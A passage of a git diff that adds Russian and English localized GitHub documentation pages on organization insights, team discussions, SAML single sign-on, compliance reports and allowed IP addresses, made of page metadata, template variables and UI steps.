5398d60f6a937c35e188dc97e44bf25b01b6d676 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135227' +--- +## Сведения об аналитике организации + +Вы можете использовать аналитические сведения об активности организации, чтобы лучше понять, как участники организации используют {% data variables.product.product_name %} для совместной работы и работы с кодом. Аналитические сведения о зависимостях позволяют отслеживать, создавать отчеты и выполнять действия для использования открытого кода в вашей организации. + +{% note %} + +**Примечание.** Чтобы просмотреть аналитические сведения об организации, ваша организация должна использовать {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} + +## Просмотр аналитических сведений об активности организации + +{% note %} + +**Примечание.** Аналитические сведения о действиях организации в настоящее время доступна в общедоступной бета-версии и может быть изменена. + +{% endnote %} + +Используя аналитические сведения об активности организации, можно просматривать еженедельные, ежемесячные и ежегодные визуализации данных по всей организации или конкретных репозиториях, включая действия в связи с проблемой и запросом на вытягивание, используемые основные языки и накопленную информацию о том, где участники организации проводят время. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} +3. Под названием организации нажмите {% octicon "graph" aria-label="The bar graph icon" %} **Аналитические сведения**. + ![Перейдите на вкладку «Аналитика организации»](/assets/images/help/organizations/org-nav-insights-tab.png) +4. При необходимости в правом верхнем углу страницы выберите просмотр данных за последнюю **неделю**, **месяц** или **год**. + ![Выбор периода для просмотра аналитических сведений об организации](/assets/images/help/organizations/org-insights-time-period.png) +5. При необходимости в правом верхнем углу страницы выберите просмотр данных максимум для трех репозиториев и нажмите кнопку **Применить**. + ![Выберите репозитории для просмотра аналитических сведений об организации](/assets/images/help/organizations/org-insights-repos.png) + +## Просмотр аналитических сведений о зависимостях организации + +{% note %} + +**Примечание.** Убедитесь, что вы включили [граф зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph). + +{% endnote %} + +С помощью аналитических сведений о зависимостях можно просматривать уязвимости, лицензии и другие важные сведения для проектов с открытым кодом в вашей организации. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} +3. Под названием организации нажмите {% octicon "graph" aria-label="The bar graph icon" %} **Аналитические сведения**. + ![Вкладка «Аналитические сведения» на главной панели навигации организации](/assets/images/help/organizations/org-nav-insights-tab.png) +4. Чтобы просмотреть зависимости для этой организации, щелкните **Зависимости**. + ![Вкладка «Зависимости» на главной панели навигации организации](/assets/images/help/organizations/org-insights-dependencies-tab.png) +5. Чтобы просмотреть аналитические сведения о зависимостях для всех ваших организаций {% data variables.product.prodname_ghe_cloud %}, щелкните **Мои организации**. + ![Кнопка «Мои организации» на вкладке «Зависимости»](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png) +6. Можно щелкнуть результаты в диаграммах **Открытые рекомендации по безопасности** и **Лицензии**, чтобы отфильтровать их по состоянию уязвимости, лицензии или сочетанию этих двух показателей. + ![Графы уязвимостей и лицензий в разделе «Мои организации»](/assets/images/help/organizations/org-insights-dependencies-graphs.png) +7. Можно щелкнуть **зависимые элементы** {% octicon "package" aria-label="The package icon" %} рядом с каждой уязвимостью, чтобы просмотреть зависимые элементы в организации, которые используют каждые из библиотек. + ![Уязвимые зависимые элементы в разделе «Мои организации»](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png) + +## Дополнительные материалы + - [Сведения об организациях](/organizations/collaborating-with-groups-in-organizations/about-organizations) + - [Изучение зависимостей репозитория](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository) + - [Изменение видимости аналитический сведений о зависимостях организации](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights){% ifversion ghec %} +- [Применение политик для аналитических сведения о зависимостях на предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise){% endif %} diff --git a/translations/ru-RU/content/organizations/collaborating-with-your-team/about-team-discussions.md b/translations/ru-RU/content/organizations/collaborating-with-your-team/about-team-discussions.md new file mode 100644 index 000000000000..4ceb4d2d4af6 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-your-team/about-team-discussions.md @@ -0,0 +1,63 @@ +--- +title: Сведения об обсуждениях в команде +intro: 'Ваша команда может совместно планировать работу, делиться новостями или обсуждать различные темы в публикациях на странице группы в организации.' +redirect_from: + - /articles/about-team-discussions + - /github/building-a-strong-community/about-team-discussions + - /github/setting-up-and-managing-organizations-and-teams/about-team-discussions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +ms.openlocfilehash: 173a067c99ff6ab10ceb6d7f0a7ef288de58b658 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135209' +--- +{% data reusables.organizations.team-discussions-purpose %} + +Любой участник организации может делать публикации на странице вашей команды или участвовать в публичном обсуждении. {% data reusables.organizations.team-discussions-permissions %} + +![Вкладка "Обсуждения" на странице команды с общедоступными и частными обсуждениями](/assets/images/help/organizations/team-page-discussions-tab.png) + +Вы можете создать ссылку на любое обсуждение команды, чтобы ссылаться на него в других местах. Вы можете закрепить важные записи на странице вашей команды, создавать на нее быструю ссылку в дальнейшем. Дополнительные сведения см. в разделе [Закрепление обсуждения команды](/organizations/collaborating-with-your-team/pinning-a-team-discussion). + +![Вкладка закрепленных обсуждений на странице группы с закрепленным обсуждением](/assets/images/help/organizations/team-discussions-pinned.png) + +{% data reusables.organizations.team-discussions-default %} Владельцы могут отключить обсуждения команды для всей организации. Дополнительные сведения см. в разделе [Отключение обсуждений группы для вашей организации](/articles/disabling-team-discussions-for-your-organization). + +## Уведомления для обсуждений группы + +Когда кто-то публикует или отвечает на публичное обсуждение на странице команды, участники команды и участники любых дочерних команд будут получать уведомления по электронной почте или веб-уведомления. Когда кто-то публикует или отвечает на частное обсуждение на странице команды, уведомления будут получать только участники команды. + +{% tip %} + +**Совет.** В зависимости от параметров уведомлений вы будете получать обновления по электронной почте, на странице веб-уведомлений в {% data variables.product.product_name %} или по обоим каналам. Дополнительные сведения см. в разделе [Настройка уведомлений](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications). + +{% endtip %} + +По умолчанию, если ваше имя пользователя упоминается в обсуждении команды, вы будете получать уведомления о публикации, в котором упоминается ваше имя пользователя, а также обо всех ответах на эту публикацию. Кроме того, по умолчанию при ответе на публикацию вы будете получать уведомления о других ответах на публикацию. + +Чтобы отключить уведомления для обсуждений группы, вы можете отменить подписку на конкретную публикацию обсуждения или изменить параметры уведомлений, чтобы отменить отслеживание или полностью игнорировать обсуждения конкретной команды. Вы можете подписаться на уведомления для конкретной публикации обсуждения, даже если вы отменили отслеживание обсуждения этой команды. + +Дополнительные сведения см. в разделах [Просмотр подписок](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions) и [Вложенные команды](/articles/about-teams/#nested-teams). + +{% ifversion fpt or ghec %} + +## Обсуждения в организации + +Такие обсуждения также способны улучшить коммуникацию в организации. Дополнительные сведения см. в разделе [Включение или отключение GitHub Discussions для организации](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). + +{% endif %} + +## Дополнительные материалы + +- [Краткое руководство по обмену данными в {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github) +- [Сведения о командах](/articles/about-teams) +- [Создание обсуждения команды](/organizations/collaborating-with-your-team/creating-a-team-discussion) +- [Редактирование или удаление обсуждения команды](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion) diff --git a/translations/ru-RU/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md b/translations/ru-RU/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md new file mode 100644 index 000000000000..7bc95864245c --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md @@ -0,0 +1,37 @@ +--- +title: Создание обсуждения команды +intro: 'Любой участник организации может создать _общедоступную_ публикацию командного обсуждения. Чтобы создать _закрытую_ публикацию командного обсуждения, необходимо быть членом команды или владельцем организации.' +redirect_from: + - /articles/creating-a-team-discussion + - /github/building-a-strong-community/creating-a-team-discussion + - /github/setting-up-and-managing-organizations-and-teams/creating-a-team-discussion +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Create a team discussion +ms.openlocfilehash: 2d6c67fb81bcc61b6e9f1d85ff589e2167798a72 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135206' +--- +{% data reusables.organizations.team-discussions-permissions %} Дополнительные сведения см. в разделе [Сведения об обсуждениях команды](/organizations/collaborating-with-your-team/about-team-discussions). + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-discussions-tab %} +6. Введите название обсуждения команды и комментарий, чтобы начать беседу. + ![Комментарий к новым обсуждениям команды](/assets/images/help/projects/team-discussions-comment.png) +7. При необходимости выберите в раскрывающемся меню, следует ли сделать публикацию частной или общедоступной. + ![Меню параметров конфиденциальности для обсуждения команды](/assets/images/help/projects/team-discussions-privacy-menu.png) +8. Нажмите кнопку **Комментарий**. + ![Кнопка "Создать новый комментарий к обсуждениям команды"](/assets/images/help/projects/team-discussions-comment-button.png) + +## Дополнительные материалы + + - [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions) + - [Редактирование или удаление обсуждения команды](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion) + - [Закрепление обсуждения команды](/organizations/collaborating-with-your-team/pinning-a-team-discussion) diff --git a/translations/ru-RU/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md b/translations/ru-RU/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md new file mode 100644 index 000000000000..46182c33c3a8 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md @@ -0,0 +1,34 @@ +--- +title: Редактирование или удаление обсуждения команды +intro: 'Участники организации могут редактировать или удалять обсуждения на странице команды. Если вы являетесь участником организации, вы можете изменить или удалить обсуждение.' +redirect_from: + - /articles/editing-or-deleting-a-team-discussion + - /github/building-a-strong-community/editing-or-deleting-a-team-discussion + - /github/setting-up-and-managing-organizations-and-teams/editing-or-deleting-a-team-discussion +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Manage a team discussion +ms.openlocfilehash: c09e9fa8645ef13dbae157fb5f951c843c8e0d24 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135194' +--- +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-discussions-tab %} +6. Нажмите {% octicon "kebab-horizontal" aria-label="The edit icon" %} рядом с обсуждением команды, которую требуется редактировать или удалить. +7. Нажмите кнопку **Изменить**. При необходимости нажмите кнопку **Удалить**. + ![Кнопка "Изменить обсуждение команды"](/assets/images/help/projects/edit-team-discussions-button.png) +8. При необходимости измените название и комментарий для обсуждения команды и нажмите кнопку **"Обновить примечание**". + ![Кнопка "Обновить комментарий"](/assets/images/help/projects/update-comment-button.png) + +## Дополнительные материалы + + - [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions) + - [Создание обсуждения команды](/organizations/collaborating-with-your-team/creating-a-team-discussion) + - [Закрепление обсуждения команды](/organizations/collaborating-with-your-team/pinning-a-team-discussion) diff --git a/translations/ru-RU/content/organizations/collaborating-with-your-team/index.md b/translations/ru-RU/content/organizations/collaborating-with-your-team/index.md new file mode 100644 index 000000000000..234ba91ca3f7 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-your-team/index.md @@ -0,0 +1,28 @@ +--- +title: Совместная работа с командой +intro: В пределах организации ваша команда может совместно работать над проектами с помощью обсуждений команды. +redirect_from: + - /articles/collaborating-with-your-team + - /github/building-a-strong-community/collaborating-with-your-team + - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-your-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +children: + - /about-team-discussions + - /creating-a-team-discussion + - /editing-or-deleting-a-team-discussion + - /pinning-a-team-discussion +shortTitle: Collaborate with your team +ms.openlocfilehash: ceba22c39b408d9fa60a2d362a024daac15ed84e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135191' +--- + diff --git a/translations/ru-RU/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md b/translations/ru-RU/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md new file mode 100644 index 000000000000..f979e4ceb2ea --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md @@ -0,0 +1,28 @@ +--- +title: Pinning a team discussion +intro: 'You can pin important discussions to your organization''s team pages for easy reference, and unpin discussions that are no longer relevant.' +redirect_from: + - /articles/pinning-a-team-discussion + - /github/building-a-strong-community/pinning-a-team-discussion + - /github/setting-up-and-managing-organizations-and-teams/pinning-a-team-discussion +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +--- + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team-discussions-tab %} +5. Click {% octicon "pin" aria-label="The pin icon" %} next to the team discussion you want to pin. You can also unpin a discussion by clicking the icon. + ![Pin a discussion](/assets/images/help/projects/pin-discussion-button.png) + +## Further reading + + - "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" + - "[Creating a team discussion](/organizations/collaborating-with-your-team/creating-a-team-discussion)" + - "[Editing or deleting a team discussion](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion)" diff --git a/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md new file mode 100644 index 000000000000..adb9d914e211 --- /dev/null +++ b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md @@ -0,0 +1,26 @@ +--- +title: About two-factor authentication and SAML single sign-on +intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members. +redirect_from: + - /articles/about-two-factor-authentication-and-saml-single-sign-on + - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: 2FA & SAML single sign-on +--- + +Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.location.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)." + +To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)." + +If both 2FA and SAML SSO are enabled, organization members must do the following: +- Use 2FA to log in to their account on {% data variables.location.product_location %} +- Use single sign-on to access the organization +- Use an authorized token for API or Git access and use single sign-on to authorize the token + +## Further reading + +- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" diff --git a/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md new file mode 100644 index 000000000000..86c79ee70b45 --- /dev/null +++ b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md @@ -0,0 +1,24 @@ +--- +title: Предоставление доступа к организации с помощью единого входа SAML +intro: 'Администраторы организации могут предоставлять доступ к своей организации с использованием единого входа SAML. Такой доступ можно предоставить участникам организации, ботам и учетным записям служб.' +redirect_from: + - /articles/granting-access-to-your-organization-with-saml-single-sign-on + - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on +versions: + ghec: '*' +topics: + - Organizations + - Teams +children: + - /managing-bots-and-service-accounts-with-saml-single-sign-on + - /viewing-and-managing-a-members-saml-access-to-your-organization + - /about-two-factor-authentication-and-saml-single-sign-on +shortTitle: Grant access with SAML +ms.openlocfilehash: bacc08fa00e639b8031939e9493b5b9c9487d14f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135182' +--- + diff --git a/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md new file mode 100644 index 000000000000..5d3cb64b8c4c --- /dev/null +++ b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md @@ -0,0 +1,30 @@ +--- +title: Управление ботами и учетными записями служб с помощью единого входа SAML +intro: 'Организации, которые включили единый вход SAML, могут сохранять доступ к ботам и учетным записям служб.' +redirect_from: + - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on + - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage bots & service accounts +ms.openlocfilehash: 57f1150929db674a658d52a5cb7e455444cc48de +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145135176' +--- +Чтобы сохранить доступ к ботам и учетным записям служб, администраторы организации могут [включить](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), но **не** [применять](/articles/enforcing-saml-single-sign-on-for-your-organization) единый вход SAML для своей организации. Если требуется применить единый вход SAML для вашей организации, можно создать внешнее удостоверение для бота или учетной записи службы с помощью поставщика удостоверений (IdP). + +{% warning %} + +**Примечание.** Если вы применяете единый вход SAML для организации и **не** настроили внешние удостоверения для ботов и учетных записей служб с помощью поставщика удостоверений, они будут удалены из вашей организации. + +{% endwarning %} + +## Дополнительные материалы + +- [Сведения об управлении удостоверениями и доступом с помощью единого входа SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on) diff --git a/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md new file mode 100644 index 000000000000..979337cd3155 --- /dev/null +++ b/translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md @@ -0,0 +1,76 @@ +--- +title: Viewing and managing a member's SAML access to your organization +intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.' +permissions: Organization owners can view and manage a member's SAML access to an organization. +redirect_from: + - /articles/viewing-and-revoking-organization-members-authorized-access-tokens + - /github/setting-up-and-managing-organizations-and-teams/viewing-and-revoking-organization-members-authorized-access-tokens + - /github/setting-up-and-managing-organizations-and-teams/viewing-and-managing-a-members-saml-access-to-your-organization +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage SAML access +--- + +## About SAML access to your organization + +When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with your organization. + +You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page. + +## Viewing and revoking a linked identity + +{% data reusables.saml.about-linked-identities %} + +When available, the entry will include SCIM data. For more information, see "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." + +{% warning %} + +**Warning:** For organizations using SCIM: +- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity. +- An admin must revoke a linked identity through the identity provider. +- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation. + +{% endwarning %} + + +{% data reusables.identity-and-permissions.revoking-identity-team-sync %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.saml.click-person-revoke-identity %} +{% data reusables.saml.saml-identity-linked %} +{% data reusables.saml.view-sso-identity %} +{% data reusables.saml.revoke-sso-identity %} +{% data reusables.saml.confirm-revoke-identity %} + +## Viewing and revoking an active SAML session + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.saml.click-person-revoke-session %} +{% data reusables.saml.saml-identity-linked %} +{% data reusables.saml.view-saml-sessions %} +{% data reusables.saml.revoke-saml-session %} + +## Viewing and revoking authorized credentials + +{% data reusables.saml.about-authorized-credentials %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.saml.click-person-revoke-credentials %} +{% data reusables.saml.saml-identity-linked %} +{% data reusables.saml.view-authorized-credentials %} +{% data reusables.saml.revoke-authorized-credentials %} +{% data reusables.saml.confirm-revoke-credentials %} + +## Further reading + +- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %} +- "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %} diff --git a/translations/ru-RU/content/organizations/index.md b/translations/ru-RU/content/organizations/index.md new file mode 100644 index 000000000000..3b484500bb5b --- /dev/null +++ b/translations/ru-RU/content/organizations/index.md @@ -0,0 +1,59 @@ +--- +title: Организации и группы +shortTitle: Organizations +intro: 'Организации можно использовать для совместной работы с неограниченным количеством пользователей во многих проектах одновременно, управляя доступом к данным и настраивая параметры.' +redirect_from: + - /articles/about-improved-organization-permissions + - /categories/setting-up-and-managing-organizations-and-teams + - /github/setting-up-and-managing-organizations-and-teams +introLinks: + overview: /organizations/collaborating-with-groups-in-organizations/about-organizations +featuredLinks: + guides: + - /get-started/learning-about-github/types-of-github-accounts + - /organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization + - /organizations/organizing-members-into-teams/about-teams + popular: + - /organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch + - /organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization + - /organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization + - /organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions + - '{% ifversion ghae %}/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization{% endif %}' + guideCards: + - /organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization + - /organizations/managing-membership-in-your-organization/adding-people-to-your-organization + - /organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository + - /organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /collaborating-with-groups-in-organizations + - /managing-membership-in-your-organization + - /managing-peoples-access-to-your-organization-with-roles + - /organizing-members-into-teams + - /collaborating-with-your-team + - /managing-user-access-to-your-organizations-repositories + - /managing-access-to-your-organizations-project-boards + - /managing-programmatic-access-to-your-organization + - /managing-organization-settings + - /managing-oauth-access-to-your-organizations-data + - /keeping-your-organization-secure + - /managing-saml-single-sign-on-for-your-organization + - /granting-access-to-your-organization-with-saml-single-sign-on + - /managing-git-access-to-your-organizations-repositories + - /migrating-to-improved-organization-permissions +ms.openlocfilehash: a8b733f7f943766b4a7598c6a955a0aba9d2b9c0 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148099143' +--- + diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/index.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/index.md new file mode 100644 index 000000000000..3b59bcfb7962 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/index.md @@ -0,0 +1,21 @@ +--- +title: Keeping your organization secure +intro: 'You can harden security for your organization by managing security settings,{% ifversion not ghae %} requiring two-factor authentication (2FA),{% endif %} and reviewing the activity and integrations within your organization.' +redirect_from: + - /articles/preventing-unauthorized-access-to-organization-information + - /articles/keeping-your-organization-secure + - /github/setting-up-and-managing-organizations-and-teams/keeping-your-organization-secure +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /managing-two-factor-authentication-for-your-organization + - /managing-security-settings-for-your-organization +shortTitle: Organization security +--- + diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md new file mode 100644 index 000000000000..704f95983c47 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md @@ -0,0 +1,38 @@ +--- +title: Accessing compliance reports for your organization +intro: 'You can access {% data variables.product.company_short %}''s compliance reports, such as our SOC reports and Cloud Security Alliance CAIQ self-assessment (CSA CAIQ), for your organization.' +versions: + ghec: '*' +type: how_to +topics: + - Organizations + - Teams +permissions: Organization owners can access compliance reports for the organization. +shortTitle: Access compliance reports +--- + +## About {% data variables.product.company_short %}'s compliance reports + +You can access {% data variables.product.company_short %}'s compliance reports in your organization settings. + +{% data reusables.security.compliance-report-list %} + + +{% note %} + +**Note:** To view compliance reports, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} + +## Accessing compliance reports for your organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +1. Under "Compliance reports", to the right of the report you want to access, click {% octicon "download" aria-label="The Download icon" %} **Download** or {% octicon "link-external" aria-label="The external link icon" %} **View**. + + {% data reusables.security.compliance-report-screenshot %} + +## Further reading + +- "[Accessing compliance reports for your enterprise](/admin/overview/accessing-compliance-reports-for-your-enterprise)" diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md new file mode 100644 index 000000000000..25905b9dfca8 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md @@ -0,0 +1,26 @@ +--- +title: Управление параметрами безопасности для организации +shortTitle: Manage security settings +intro: 'Вы можете управлять параметрами безопасности и просматривать журнал аудита{% ifversion ghec %}, отчеты о соответствии,{% endif %} и интеграции для своей организации.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /managing-security-and-analysis-settings-for-your-organization + - /managing-allowed-ip-addresses-for-your-organization + - /restricting-email-notifications-for-your-organization + - /reviewing-the-audit-log-for-your-organization + - /accessing-compliance-reports-for-your-organization +ms.openlocfilehash: c2d2f483343b8a93f3607266ef160e017204bc60 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148099140' +--- + diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md new file mode 100644 index 000000000000..be572c181610 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md @@ -0,0 +1,113 @@ +--- +title: Managing allowed IP addresses for your organization +intro: You can restrict access to your organization's private assets by configuring a list of IP addresses that are allowed to connect. +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization + - /organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization +versions: + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage allowed IP addresses +permissions: Organization owners can manage allowed IP addresses for an organization. +--- + +## About allowed IP addresses + +You can restrict access to private organization assets by configuring an allow list for specific IP addresses. 